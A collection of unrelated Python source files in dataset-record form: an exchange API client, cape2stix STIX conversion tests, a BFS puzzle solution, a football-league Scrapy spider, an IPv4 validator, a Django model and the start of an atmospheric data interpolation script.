self.base_url = base_url\n\n def auth(self, key, secret):\n self.key = bytes(key, 'utf-8')\n self.secret = bytes(secret, 'utf-8')\n\n def public_request(self, method, api_url, **payload):\n \"\"\"request public url\"\"\"\n r_url = self.base_url + api_url\n try:\n r = requests.request(method, r_url, params=payload)\n r.raise_for_status()\n except requests.exceptions.HTTPError as err:\n print(err)\n if r.status_code == 200:\n return r.json()\n\n def get_signed(self, sig_str):\n \"\"\"signed params use sha512\"\"\"\n sig_str = base64.b64encode(sig_str)\n signature = hmac.new(self.secret, sig_str, digestmod=hashlib.sha1).hexdigest()\n return signature\n\n def signed_request(self, method, api_url, **payload):\n \"\"\"request a signed url\"\"\"\n param = ''\n if payload:\n sort_pay = sorted(payload.items())\n for k in sort_pay:\n param += '&' + str(k[0]) + '=' + str(k[1])\n param = param.lstrip('&')\n timestamp = str(int(time.time()) * 1000)\n full_url = self.base_url + api_url\n if method == 'GET':\n if param:\n get_url = api_url + '?' + param\n sig_str = timestamp + get_url\n else:\n sig_str = timestamp + api_url\n elif method == 'POST':\n sig_str = timestamp + api_url + param\n signature = self.get_signed(bytes(sig_str, 'utf-8'))\n\n headers = {\n \"Content-type\": \"application/x-www-form-urlencoded\",\n 'X-ACCESS-KEY': self.key,\n 'X-ACCESS-SIGNATURE': signature,\n 'X-ACCESS-TIMESTAMP': timestamp,\n\n }\n\n if method == 'POST':\n try:\n r = requests.post(url=full_url, headers=headers, data=payload)\n r.raise_for_status()\n except requests.exceptions.HTTPError as err:\n print(err)\n print(r.text)\n if r.status_code == 200:\n return r.json()\n elif method == 'GET':\n try:\n r = requests.request(method, full_url, headers=headers, params=payload)\n r.raise_for_status()\n except requests.exceptions.HTTPError as err:\n print(err)\n print(r.text)\n if r.status_code == 200:\n return r.json()\n\n def get_symbols(self):\n \"\"\"get all symbols\"\"\"\n return self.signed_request('GET', '/api/symbols')\n\n def get_user_balance(self):\n \"\"\"查询账户余额\"\"\"\n return self.signed_request('GET', '/api/user/balance/spot')\n\n def get_order_info(self, id):\n \"\"\"查询订单信息\"\"\"\n return self.signed_request('GET', '/api/order/{id}'.format(id=id))\n\n def get_order_list(self, symbol, state, **payload):\n \"\"\"获取订单列表\"\"\"\n return self.signed_request('GET', '/api/orders/{symbol}/{state}'.format(symbol=symbol, state=state), **payload)\n\n def create_order(self, **payload):\n \"\"\"下单\"\"\"\n return self.signed_request('POST', '/api/order', **payload)\n\n def cancel(self, id):\n \"\"\"撤单\"\"\"\n return self.signed_request('POST', '/api/order/{id}/cancel'.format(id=id))\n\n def get_trades(self, symbol, **payload):\n \"\"\"获取成交历史记录\"\"\"\n return self.signed_request('GET', '/api/trades/{symbol}'.format(symbol=symbol), **payload)\n\n def get_kline(self, symbol, candle_type, **payload):\n \"\"\"获取k线\"\"\"\n return self.signed_request('GET',\n '/api/candle/{symbol}/{candle_type}'.format(symbol=symbol, candle_type=candle_type),\n **payload)\n\n","repo_name":"judong-520/QT_trade","sub_path":"cg/cg_futrues/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":3916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22479714634","text":"import unittest\nimport json\nimport os\n\nimport asyncio\n\nfrom cape2stix.scripts.convert import Cape2STIX, convert_file\n\n# from stix_enforcer.Fixers.UUID5Fixer import updateUUIDs # modified stix_enforcer scripts to work as import\n# from stix_enforcer.Fixers.TimeFixer import fixTime\n\n\n# generate stix objects with convert.py\n# assert relevant properties match valid values according to stix-enforcer\n\ndir = os.path.dirname(__file__)\nreport_path = os.path.join(dir, \"test_report.json\")\nconverted_path = os.path.join(dir, \"converted_report.json\")\n\n\ndef find_obj(container, value, property=\"type\", src_type=None, dst_type=None):\n \"\"\"\n Search for first instance of desired object\n \"\"\"\n\n for obj in container[\"objects\"]:\n if obj[property] == value:\n if src_type is None:\n return obj\n else:\n if (\n obj[\"source_ref\"].split(\"--\")[0] == src_type\n and obj[\"target_ref\"].split(\"--\")[0] == dst_type\n ):\n return obj\n return None # no object of desired properties present\n\n\nclass TestConverter(unittest.TestCase):\n # expected result should be hardcoded\n # feed hardcoded properties\n # test individual methods\n # tests must not depend on each other\n # input should be simplest possible and representative (not exhaustive)\n\n @classmethod\n def setUpClass(cls):\n args = (report_path, True, False, converted_path)\n asyncio.run(convert_file(args))\n with open(converted_path, \"r\") as f:\n cls.content = json.load(f)\n f.close()\n\n def test_spec_vers(self):\n \"\"\"\n Enforced by SpecVersionFixer.py\n -- enforce inclusion of common spec_version property (in all objects)\n \"\"\"\n mal = find_obj(self.content, \"malware\")\n\n self.assertIn(\"spec_version\", mal)\n self.assertEqual(mal[\"spec_version\"], \"2.1\")\n\n # uuid5s should be checked by validator (code 103)\n def test_ipv4_addr_uuid5(self):\n \"\"\"\n Enforced by UUIDFixer.py\n -- enforce use of valid uuid5s for SCOs\n \"\"\"\n ipv4 = find_obj(self.content, \"ipv4-addr\")\n uuid5 = \"ipv4-addr--7e5fa90c-c43c-5baf-93b2-00684c5276b5\"\n\n self.assertEqual(ipv4[\"id\"], uuid5)\n\n # def test_ipv6_addr_uuid5(self):\n\n def test_dir_uuid5(self):\n \"\"\"\n Enforced by UUIDFixer.py\n -- enforce use of valid uuid5s for SCOs\n \"\"\"\n dir = find_obj(self.content, \"directory\")\n # enforced_dir = updateUUIDs(dir)\n uuid5 = \"directory--2d660588-dd2e-578d-8de0-68517564761d\"\n\n # self.assertEqual(dir['id'], enforced_dir['id'])\n self.assertEqual(dir[\"id\"], uuid5)\n\n def test_domain_uuid5(self):\n \"\"\"\n Enforced by UUIDFixer.py\n -- enforce use of valid uuid5s for SCOs\n \"\"\"\n dom = find_obj(self.content, \"domain-name\")\n uuid5 = \"domain-name--9887785a-3f35-5686-8b1b-00491d686409\"\n\n self.assertEqual(dom[\"id\"], uuid5)\n\n def test_file_uuid5(self):\n \"\"\"\n Enforced by UUIDFixer.py\n -- enforce use of valid uuid5s for SCOs\n \"\"\"\n file = find_obj(self.content, \"file\")\n uuid5 = \"file--0adfec20-c51c-5fbc-94b0-81fd40330859\"\n\n self.assertEqual(file[\"id\"], uuid5)\n\n def test_mutex_uuid5(self):\n \"\"\"\n Enforced by UUIDFixer.py\n -- enforce use of valid uuid5s for SCOs\n \"\"\"\n mutex = find_obj(self.content, \"mutex\")\n uuid5 = \"mutex--28cafab6-4b0c-552e-b4fd-82bc5f1ac110\"\n\n self.assertEqual(mutex[\"id\"], uuid5)\n\n def test_net_traffic_uuid5(self):\n \"\"\"\n Enforced by UUIDFixer.py\n -- enforce use of valid uuid5s for SCOs\n \"\"\"\n net_traffic = find_obj(self.content, \"network-traffic\")\n uuid5 = \"network-traffic--f5bacbcf-6eca-58e2-bf43-57d20d03e84f\"\n\n self.assertEqual(net_traffic[\"id\"], uuid5)\n\n def test_reg_key_uuid5(self):\n \"\"\"\n Enforced by UUIDFixer.py\n -- enforce use of valid uuid5s for SCOs\n \"\"\"\n reg_key = find_obj(self.content, \"windows-registry-key\")\n uuid5 = \"windows-registry-key--9ba5bd01-6314-5eb8-be1a-ec9b4dfd60e9\"\n\n self.assertEqual(reg_key[\"id\"], uuid5)\n\n def test_software_uuid5(self):\n \"\"\"\n Enforced by UUIDFixer.py\n -- enforce use of valid uuid5s for SCOs\n \"\"\"\n soft = find_obj(self.content, \"software\")\n uuid5 = \"software--2cdb2ada-a3ac-50b5-b45f-ce272456ba41\"\n\n self.assertEqual(soft[\"id\"], uuid5)\n\n def test_report_timestamp(self):\n \"\"\"\n Covers TimeFixer.py\n -- enforce timestamp formatting\n \"\"\"\n report = find_obj(self.content, \"report\")\n # enforced_rep = fixTime(report)\n time = \"2018-06-12T03:55:22.000Z\"\n\n # self.assertEqual(report, enforced_rep)\n self.assertEqual(report[\"published\"], time)\n\n # ignoring VerbFixer.py (relationship verbs)\n\n def test_net_traffic_ports(self):\n \"\"\"\n Covers NetworkTrafficReqChecker.py\n -- network-traffic objects must have src_port & dst_port properties\n - should already be covered by stix-validator (code 301)\n \"\"\"\n net_traffic = find_obj(self.content, \"network-traffic\")\n\n self.assertIn(\"src_port\", net_traffic)\n self.assertTrue(net_traffic[\"src_port\"])\n self.assertIn(\"dst_port\", net_traffic)\n self.assertTrue(net_traffic[\"dst_port\"])\n\n def test_software_cpe(self):\n \"\"\"\n Covers SoftwareReqChecker.py\n -- software objects must have cpe property\n \"\"\"\n soft = find_obj(self.content, \"software\")\n\n self.assertIn(\"cpe\", soft)\n self.assertTrue(soft[\"cpe\"])\n\n def test_software_version(self):\n \"\"\"\n Covers SoftwareReqChecker.py\n -- software objects must have version property\n \"\"\"\n soft = find_obj(self.content, \"software\")\n\n self.assertIn(\"version\", soft)\n self.assertTrue(soft[\"version\"])\n\n def test_software_vendor(self):\n \"\"\"\n Covers SoftwareReqChecker.py\n -- software objects must have vendor property\n \"\"\"\n soft = find_obj(self.content, \"software\")\n\n self.assertIn(\"vendor\", soft)\n self.assertTrue(soft[\"vendor\"])\n\n def test_attack_pat_refs(self):\n \"\"\"\n Covers AttackPatternReqChecker.py\n -- attack-pattern objects must have the externel_references property with each element at least containing the source_name & external_id properties\n - if the external reference is a CVE, its source_name property must be set to cve and its corresponding external_id property formatted as CVE-YYYY-NNNN+\n - if the external reference is a CAPEC, its source_name property must be set to capec and its corresponding external_id property formatted as CAPEC-[id]\n - (validity of ids should be checked by validator)\n \"\"\"\n attack_pat = find_obj(self.content, \"attack-pattern\")\n\n self.assertIn(\"external_references\", attack_pat)\n self.assertIn(\"source_name\", attack_pat[\"external_references\"][0])\n self.assertTrue(attack_pat[\"external_references\"][0][\"source_name\"])\n self.assertIn(\"external_id\", attack_pat[\"external_references\"][0])\n self.assertTrue(attack_pat[\"external_references\"][0][\"external_id\"])\n self.assertEqual(\"capec\", attack_pat[\"external_references\"][1][\"source_name\"])\n self.assertEqual(\n attack_pat[\"external_references\"][1][\"external_id\"][0:6], \"CAPEC-\"\n )\n\n @unittest.skipIf(True, \"Not yet in converted report\")\n def test_ext_def(self):\n \"\"\"\n Enforced by ExtensionFixer.py\n -- the extensions property of objects must be a dictionary and must not be empty\n \"\"\"\n attack_pat = find_obj(self.content, \"attack-pattern\")\n\n self.assertIsInstance(attack_pat[\"extensions\"], dict)\n self.assertTrue(attack_pat[\"extensions\"])\n self.assertIsInstance(list(attack_pat[\"extensions\"].values())[0], dict)\n\n def test_attack_pat_desc(self):\n \"\"\"\n Covers DescLenHolder.py & DescReqHolder.py\n -- attack-pattern objects must have descriptions of at least length 10\n \"\"\"\n attack_pat = find_obj(self.content, \"attack-pattern\")\n\n self.assertIn(\"description\", attack_pat)\n self.assertGreaterEqual(len(attack_pat[\"description\"].split()), 10)\n\n @unittest.skipIf(True, \"Not yet in converted report\")\n def test_ext_def_desc(self):\n \"\"\"\n Covers DescLenHolder.py & DescReqHolder.py\n -- extension-definition objects must have descriptions of at least length 10\n \"\"\"\n ext_def = find_obj(self.content, \"extension-definition\")\n\n self.assertIn(\"description\", ext_def)\n self.assertGreaterEqual(len(ext_def[\"description\"].split()), 10)\n\n @unittest.skipIf(True, \"Not yet in converted report\")\n def test_identity_desc(self):\n \"\"\"\n Covers DescLenHolder.py & DescReqHolder.py\n -- identity objects must have descriptions of at least length 10\n \"\"\"\n id = find_obj(self.content, \"identity\")\n\n self.assertIn(\"description\", id)\n self.assertGreaterEqual(len(id[\"description\"].split()), 10)\n\n def test_mal_desc(self):\n \"\"\"\n Covers DescLenHolder.py & DescReqHolder.py\n -- malware objects must have descriptions of at least length 10\n \"\"\"\n mal = find_obj(self.content, \"malware\")\n\n self.assertIn(\"description\", mal)\n self.assertGreaterEqual(len(mal[\"description\"].split()), 10)\n\n def test_loc_desc(self):\n \"\"\"\n Covers DescLenHolder.py & DescReqHolder.py\n -- location objects must have descriptions of at least length 10\n \"\"\"\n loc = find_obj(self.content, \"location\")\n\n self.assertIn(\"description\", loc)\n self.assertGreaterEqual(len(loc[\"description\"].split()), 10)\n\n def test_report_desc(self):\n \"\"\"\n Covers DescLenHolder.py & DescReqHolder.py\n -- report objects must have descriptions of at least length 10\n \"\"\"\n report = find_obj(self.content, \"report\")\n\n self.assertIn(\"description\", report)\n self.assertGreaterEqual(len(report[\"description\"].split()), 10)\n\n def test_attack_pat_kill(self):\n \"\"\"\n Covers KillChainReqChecker.py\n -- attack-pattern objects must have the kill_chain_phases property with the kill_chain_name & phase_name sub-properties\n \"\"\"\n attack_pat = find_obj(self.content, \"attack-pattern\")\n\n self.assertIn(\"kill_chain_phases\", attack_pat)\n self.assertIn(\"kill_chain_name\", attack_pat[\"kill_chain_phases\"][0])\n self.assertTrue(attack_pat[\"kill_chain_phases\"][0][\"kill_chain_name\"])\n self.assertIn(\"phase_name\", attack_pat[\"kill_chain_phases\"][0])\n self.assertTrue(attack_pat[\"kill_chain_phases\"][0][\"phase_name\"])\n\n def test_mal_kill(self):\n \"\"\"\n Covers KillChainReqChecker.py\n -- malware objects must have the kill_chain_phases property with the kill_chain_name & phase_name sub-properties\n \"\"\"\n mal = find_obj(self.content, \"malware\")\n\n self.assertIn(\"kill_chain_phases\", mal)\n self.assertIn(\"kill_chain_name\", mal[\"kill_chain_phases\"][0])\n self.assertTrue(mal[\"kill_chain_phases\"][0][\"kill_chain_name\"])\n self.assertIn(\"phase_name\", mal[\"kill_chain_phases\"][0])\n self.assertTrue(mal[\"kill_chain_phases\"][0][\"phase_name\"])\n\n def test_file_hash(self):\n \"\"\"\n Covers FileReqChecker.py\n -- file objects must have hashes property\n \"\"\"\n file = find_obj(self.content, \"file\")\n\n self.assertIn(\"hashes\", file)\n self.assertTrue(file[\"hashes\"])\n\n def test_file_name(self):\n \"\"\"\n Covers NameReqChecker.py\n -- file objects must have name property\n \"\"\"\n file = find_obj(self.content, \"file\")\n\n self.assertIn(\"name\", file)\n self.assertTrue(file[\"name\"])\n\n def test_mal_name(self):\n \"\"\"\n Covers NameReqChecker.py\n -- malware objects must have name property\n \"\"\"\n mal = find_obj(self.content, \"malware\")\n\n self.assertIn(\"name\", mal)\n self.assertTrue(mal[\"name\"])\n\n def test_loc_name(self):\n \"\"\"\n Covers NameReqChecker.py\n -- location objects must have name property\n \"\"\"\n loc = find_obj(self.content, \"location\")\n\n self.assertIn(\"name\", loc)\n self.assertTrue(loc[\"name\"])\n\n def test_mal_types(self):\n \"\"\"\n Covers MalwareReqChecker.py\n -- malware objects must have malware_types property\n \"\"\"\n mal = find_obj(self.content, \"malware\")\n\n self.assertIn(\"malware_types\", mal)\n self.assertTrue(mal[\"malware_types\"])\n\n def test_mal_file_rel(self):\n \"\"\"\n Covers MalwareFileReqChecker.py\n -- malware objects must have associated file objects (relationships to file objects)\n \"\"\"\n rel = find_obj(\n self.content, \"relationship\", src_type=\"malware\", dst_type=\"file\"\n )\n self.assertIsNotNone(rel)\n\n file = find_obj(self.content, rel[\"target_ref\"], property=\"id\")\n self.assertIsNotNone(file)\n\n @classmethod\n def tearDownClass(cls):\n os.remove(converted_path)\n\n\nif __name__ == \"__main__\":\n unittest.main(verbosity=2)\n","repo_name":"idaholab/cape2stix","sub_path":"cape2stix/tests/enforcer_test.py","file_name":"enforcer_test.py","file_ext":"py","file_size_in_byte":13473,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"71810682641","text":"import sys;sys.stdin = open('2589.txt')\n\nfrom collections import deque\n\nN, M = map(int, input().split())\narr = [input() for _ in range(N)]\n\ndef solve():\n di = (0, 1, 0, -1)\n dj = (1, 0, -1, 0)\n res = 0\n for i in range(N):\n for j in range(M):\n if arr[i][j] == 'L':\n visited = [[0]*M for _ in range(N)]\n dq = deque()\n visited[i][j] = 1\n dq.append((i, j))\n while dq:\n x, y = dq.popleft()\n for d in range(4):\n ni = x + di[d]\n nj = y + dj[d]\n if 0 <= ni < N and 0 <= nj < M and not visited[ni][nj] and arr[ni][nj] == 'L':\n visited[ni][nj] = visited[x][y] + 1\n dq.append((ni, nj))\n if visited[ni][nj] > res:\n res = visited[ni][nj]\n return res\n\nprint(solve()-1)","repo_name":"youngmin940629/AlgorithmStudy","sub_path":"알고리즘스터디/2021_10/1009/강민철/b2589_보물섬_2.py","file_name":"b2589_보물섬_2.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35355649802","text":"# pylint: disable=C0114, C0116, R0201\nimport scrapy\nfrom sportscrawler.football.items import LeagueItem\n\n\nclass LeagueSpider(scrapy.Spider):\n \"\"\"\n Fetches all the information from a league for the current season unless specified\n \"\"\"\n\n name = \"football-league-info\"\n allowed_domains = [\"transfermarkt.co.uk\"]\n\n def start_requests(self):\n return [\n # scrapy.Request(\n # url=\"https://www.transfermarkt.co.uk/laliga/startseite/wettbewerb/ES1/\",\n # callback=self.parse,\n # ),\n # scrapy.Request(\n # url=\"https://www.transfermarkt.co.uk/1-bundesliga/startseite/wettbewerb/L1\",\n # callback=self.parse,\n # ),\n scrapy.Request(\n url=\"https://www.transfermarkt.co.uk/serie-a/startseite/wettbewerb/IT1\",\n callback=self.parse,\n ),\n # scrapy.Request(\n # url=\"https://www.transfermarkt.co.uk/ligue-1/startseite/wettbewerb/FR1/\",\n # callback=self.parse,\n # ),\n # scrapy.Request(\n # url=\"https://www.transfermarkt.co.uk/premier-league/startseite/wettbewerb/GB1\",\n # callback=self.parse,\n # ),\n ]\n\n def parse(self, response):\n yield scrapy.Request(\n url=\"https://www.\"\n + self.allowed_domains[0]\n + response.selector.xpath(\"//a[@title='To complete table']\")\n .xpath(\"@href\")\n .get(),\n callback=self.parse_leaguetable,\n )\n\n def parse_leaguetable(self, response):\n table = response.selector.xpath(\n \"//div[@class='responsive-table']/table/tbody/tr\"\n )\n league_table = {}\n season = response.url.split(\"saison_id/\")[-1]\n for club in table:\n league_table[club.xpath(\"td[1]/text()\").get()] = {\n \"team\": {\n \"name\": club.xpath(\"td[3]/a/text()\").get(),\n \"id\": club.xpath(\"td[3]/a\").xpath(\"@href\").get().split(\"/\")[1],\n \"code\": club.xpath(\"td[3]/a\")\n .xpath(\"@href\")\n .get()\n .split(\"/saison\")[0]\n .split(\"/\")[-1],\n },\n \"Matches\": club.xpath(\"td[4]/a/text()\").get()\n if club.xpath(\"td[4]/a/text()\")\n else club.xpath(\"td[4]/text()\").get(),\n \"Wins\": club.xpath(\"td[5]/a/text()\").get()\n if club.xpath(\"td[5]/a/text()\")\n else club.xpath(\"td[5]/text()\").get(),\n \"Draws\": club.xpath(\"td[6]/a/text()\").get()\n if club.xpath(\"td[6]/a/text()\")\n else club.xpath(\"td[6]/text()\").get(),\n \"Losses\": club.xpath(\"td[7]/a/text()\").get()\n if club.xpath(\"td[7]/a/text()\")\n else club.xpath(\"td[7]/text()\").get(),\n \"Goals Scored/Conceded\": club.xpath(\"td[8]/a/text()\").get()\n if club.xpath(\"td[8]/a/text()\")\n else club.xpath(\"td[8]/text()\").get(),\n \"Goal difference\": club.xpath(\"td[9]/a/text()\").get()\n if club.xpath(\"td[9]/a/text()\")\n else club.xpath(\"td[9]/text()\").get(),\n \"Points\": club.xpath(\"td[10]/a/text()\").get()\n if club.xpath(\"td[10]/a/text()\")\n else club.xpath(\"td[10]/text()\").get(),\n }\n yield scrapy.Request(\n url=response.url.split(\"tabelle\")[0]\n + \"gesamtspielplan\"\n + response.url.split(\"tabelle\")[1],\n callback=self.parse_schedule,\n cb_kwargs=dict(season=season, league_table=league_table),\n )\n\n def parse_schedule(self, response, season, league_table):\n matchdays = response.selector.xpath(\"//div[@class='large-6 columns']\")\n schedule = {}\n for matchday in matchdays:\n matches = matchday.xpath(\"div/table/tbody/tr[not(@class)]\")\n schedule[matchday.xpath(\"div/div/text()\").get()] = {}\n current_date = \"\"\n for match in matches:\n if match.xpath(\"td[1]/a/text()\").get():\n current_date = match.xpath(\"td[1]/a/text()\").get()\n schedule[matchday.xpath(\"div/div/text()\").get()][current_date] = []\n if current_date == \"\":\n continue\n schedule[matchday.xpath(\"div/div/text()\").get()][current_date].append(\n {\n \"team1\": match.xpath(\"td[3]/a/text()\").get(),\n \"team2\": match.xpath(\"td[7]/a/text()\").get(),\n \"score\": \"NYS\"\n if \"-\" in match.xpath(\"td[5]/a/text()\").get()\n else match.xpath(\"td[5]/a/text()\").get(),\n \"match_code\": match.xpath(\"td[5]/a\")\n .xpath(\"@href\")\n .get()\n .split(\"/\")[-1],\n }\n )\n team_details = [league_table[club][\"team\"] for club in league_table]\n yield LeagueItem(\n season=season,\n league_leaders=league_table[\"1\"][\"team\"][\"name\"]\n + \"* susceptible to change if the season isn't over\",\n teams=team_details,\n league_table=league_table,\n schedule=schedule,\n )\n","repo_name":"lucasace/sportscaster","sub_path":"sportscrawler/football/spiders/league_spider.py","file_name":"league_spider.py","file_ext":"py","file_size_in_byte":5447,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"71703480400","text":"import re\nimport sys\n\n\ndef main():\n print(validate(input(\"IPv4 Address: \").strip()))\n\n\ndef validate(ip):\n try:\n address = ip.split(\".\", maxsplit=3)\n for iprange in address:\n if int(iprange) > 255 or len(address) < 4:\n return False\n\n except ValueError:\n return False\n\n else:\n return True\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"berkcangumusisik/CS50Python","sub_path":"Week 7/Problem Sets 7/numb3rs/numb3rs.py","file_name":"numb3rs.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"15187363972","text":"from django.db import models\nfrom api.v1.hr_members.models import HRMember\n\n\nclass Event(models.Model):\n title = models.CharField(max_length=255)\n start = models.DateTimeField()\n end = models.DateTimeField(blank=True, null=True)\n desc = models.TextField()\n allDay = models.BooleanField(default=False)\n owner = models.ForeignKey(HRMember, on_delete=models.SET_NULL, null=True, related_name=\"events\")\n","repo_name":"Baturalp52/crm-project-1","sub_path":"crm-api/api/v1/events/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40270763931","text":"# Data Processing Script\r\n# Author: Renato Okabayashi Miyaji\r\n# Date: 28-11-2021\r\n\r\n\r\n\"\"\"\r\nRead the data from the Atmospheric Radiation Measurement (ARM) repository collected by the G-1 aircraft of the GOAmazon 2014/15 project,\r\ninterpolate and generate a dataset for each variable.\r\nThen, the bioclimatic dataset is generated through the manipulation of species occurrence datasets from the Global Information Biodiversity \r\nFacility (GBIF) and the Portal da Biodiversidade do Instituto Chico Mendes de Conservação da Biodiversidade (ICMBio) and the join operation \r\nbetween these datasets and the one resultant from the interpolation process.\r\n\"\"\"\r\n\r\n\r\n# Import libraries\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.interpolate import griddata\r\nfrom statistics import mean\r\n\r\n\r\n# Execution parameters\r\nlist_variables = ['co(ppm)', 'o3(ppb)', 'nox(ppb)', 'CPC3010', 'Acetonitrile(ppb)', 'Isoprene(ppb)']\r\nseason = 'dry'\r\nfile_name = 'Interpolated_Data_{}'.format(season)\r\nfile_name_1 = 'portal_bio'\r\nfile_name_2 = 'GBIF'\r\nini_date = '2009-01-01'\r\nend_date = '2019-01-01'\r\nmin_lat = -3.5\r\nmin_long = -60.8\r\nmax_lat = -2.8\r\nmax_long = -59.8\r\n\r\n\r\ndef read_files(season):\r\n \"\"\"\r\n Read the files and filter by flight number\r\n \"\"\"\r\n if season == 'dry':\r\n g1_d17 = pd.read_excel(\"G1_dryseason_17.xlsx\")\r\n g1_d18 = pd.read_excel(\"G1_dryseason_18.xlsx\")\r\n g1_d19 = pd.read_excel(\"G1_dryseason_19.xlsx\")\r\n g1_d20 = pd.read_excel(\"G1_dryseason_20.xlsx\")\r\n g1_d21 = pd.read_excel(\"G1_dryseason_21.xlsx\")\r\n g1_d22 = pd.read_excel(\"G1_dryseason_22.xlsx\")\r\n g1_d23 = pd.read_excel(\"G1_dryseason_23.xlsx\")\r\n g1_d24 = pd.read_excel(\"G1_dryseason_24.xlsx\")\r\n g1_d25 = pd.read_excel(\"G1_dryseason_25.xlsx\")\r\n g1_d26 = pd.read_excel(\"G1_dryseason_26.xlsx\")\r\n g1_d27 = pd.read_excel(\"G1_dryseason_27.xlsx\")\r\n g1_d28 = pd.read_excel(\"G1_dryseason_28.xlsx\")\r\n g1_d29 = pd.read_excel(\"G1_dryseason_29.xlsx\")\r\n g1_d30 = pd.read_excel(\"G1_dryseason_30.xlsx\")\r\n g1_d31 = pd.read_excel(\"G1_dryseason_31.xlsx\")\r\n g1_d32 = pd.read_excel(\"G1_dryseason_32.xlsx\")\r\n g1_d33 = pd.read_excel(\"G1_dryseason_33.xlsx\")\r\n \r\n flights = [g1_d17,g1_d18,g1_d19,g1_d20,g1_d21,g1_d22,g1_d23,g1_d24,g1_d25,g1_d26,g1_d27,g1_d28,g1_d29,g1_d30,g1_d31,g1_d32,g1_d33]\r\n return flights\r\n \r\n elif season == 'wet':\r\n g1_d1 = pd.read_excel(\"G1_wetseason_1.xlsx\")\r\n g1_d2 = pd.read_excel(\"G1_wetseason_2.xlsx\")\r\n g1_d3 = pd.read_excel(\"G1_wetseason_3.xlsx\")\r\n g1_d4 = pd.read_excel(\"G1_wetseason_4.xlsx\")\r\n g1_d5 = pd.read_excel(\"G1_wetseason_5.xlsx\")\r\n g1_d6 = pd.read_excel(\"G1_wetseason_6.xlsx\")\r\n g1_d7 = pd.read_excel(\"G1_wetseason_7.xlsx\")\r\n g1_d8 = pd.read_excel(\"G1_wetseason_8.xlsx\")\r\n g1_d9 = pd.read_excel(\"G1_wetseason_9.xlsx\")\r\n g1_d10 = pd.read_excel(\"G1_wetseason_10.xlsx\")\r\n g1_d11 = pd.read_excel(\"G1_wetseason_11.xlsx\")\r\n g1_d12 = pd.read_excel(\"G1_wetseason_12.xlsx\")\r\n g1_d13 = pd.read_excel(\"G1_wetseason_13.xlsx\")\r\n g1_d14 = pd.read_excel(\"G1_wetseason_14.xlsx\")\r\n g1_d15 = pd.read_excel(\"G1_wetseason_15.xlsx\")\r\n g1_d16 = pd.read_excel(\"G1_wetseason_16.xlsx\")\r\n \r\n flights = [g1_d1,g1_d2,g1_d3,g1_d4,g1_d5,g1_d6,g1_d7,g1_d8,g1_d9,g1_d10,g1_d11,g1_d12,g1_d13,g1_d14,g1_d15,g1_d16]\r\n return flights\r\n\r\n \r\ndef select_colums(df_flight, variable):\r\n \"\"\"\r\n Select only the relevant columns of the dataframe\r\n \"\"\"\r\n \r\n df_flight = df_flight.drop(columns=['Unnamed: 0'])\r\n df_flight = df_flight[['lat','long','alt',variable]]\r\n df_flight = df_flight.dropna(subset=[variable])\r\n \r\n return df_flight\r\n\r\n\r\ndef filter_alt(df_flight):\r\n \"\"\"\r\n Filter the dataframe by altitude\r\n \"\"\"\r\n \r\n max_alt = 1500;\r\n df_flight = df_flight[df_flight['alt']<=max_alt].reset_index(drop=True)\r\n \r\n return df_flight\r\n\r\n\r\ndef maxmin_season(season, flights):\r\n \"\"\"\r\n Calculate the maximum and minimum from latitude and logitude of each season \r\n \"\"\"\r\n\r\n l_max_lat = []\r\n l_max_lon = []\r\n l_min_lat = []\r\n l_min_lon = []\r\n\r\n for flight in flights:\r\n l_max_lat.append(flight['lat'].max())\r\n l_min_lat.append(flight['lat'].min())\r\n l_max_lon.append(flight['long'].max())\r\n l_min_lon.append(flight['long'].min())\r\n max_lat = max(l_max_lat)\r\n max_lon = max(l_max_lon)\r\n min_lat = min(l_min_lat)\r\n min_lon = min(l_min_lon)\r\n\r\n return max_lat, max_lon, min_lat, min_lon\r\n\r\n\r\ndef dxdy(df_flight):\r\n \"\"\"\r\n Calculate the discretization of latitude and longitude\r\n \"\"\"\r\n \r\n dxs = []\r\n dys = []\r\n\r\n for i in range(len(df_flight)-1):\r\n dlat = abs(df_flight['lat'][i]-df_flight['lat'][i+1])\r\n dys.append(dlat)\r\n dlong = abs(df_flight['long'][i]-df_flight['long'][i+1])\r\n dxs.append(dlong)\r\n \r\n return max(dys), max(dxs)\r\n\r\n\r\ndef dxdy_season(season, flights):\r\n \"\"\"\r\n Calculate the discretization of latitude and longitude for the season\r\n \"\"\" \r\n \r\n dxs = []\r\n dys = []\r\n\r\n for flight in flights:\r\n dxs.append(dxdy(flight)[0])\r\n dys.append(dxdy(flight)[1])\r\n dx = min(dxs)\r\n dy = min(dys)\r\n \r\n return dx,dy\r\n\r\n\r\ndef interpolate(df_flight,variable,max_lat,max_lon,min_lat,min_lon,dx,dy):\r\n \"\"\"\r\n Interpolate the variable under the specified conditions\r\n \"\"\"\r\n \r\n # Coordinates and variable\r\n x = df_flight['long']\r\n y = df_flight['lat']\r\n z = df_flight[variable]\r\n\r\n # Create the mesh\r\n xi = np.arange(min_lon,max_lon,dx) \r\n yi = np.arange(min_lat,max_lat,dy)\r\n xi,yi = np.meshgrid(xi,yi)\r\n xi_ = np.arange(min_lon,max_lon,dx) \r\n yi_ = np.arange(min_lat,max_lat,dy)\r\n\r\n # Interpolate\r\n zi = griddata((x,y),z,(xi,yi),method='linear')\r\n \r\n return zi,xi_,yi_,x,y,dx,dy\r\n\r\n\r\ndef plot_interpolation(variable,xi,yi,zi,x,y):\r\n \"\"\"\r\n Plot the result of the interpolation\r\n \"\"\"\r\n \r\n fig = plt.figure(figsize=(10,8))\r\n ax = fig.add_subplot(111)\r\n plt.contourf(xi,yi,zi)\r\n plt.plot(x,y,'k.')\r\n plt.xlabel('Longitude (°)')\r\n plt.ylabel('Latitude (°)')\r\n 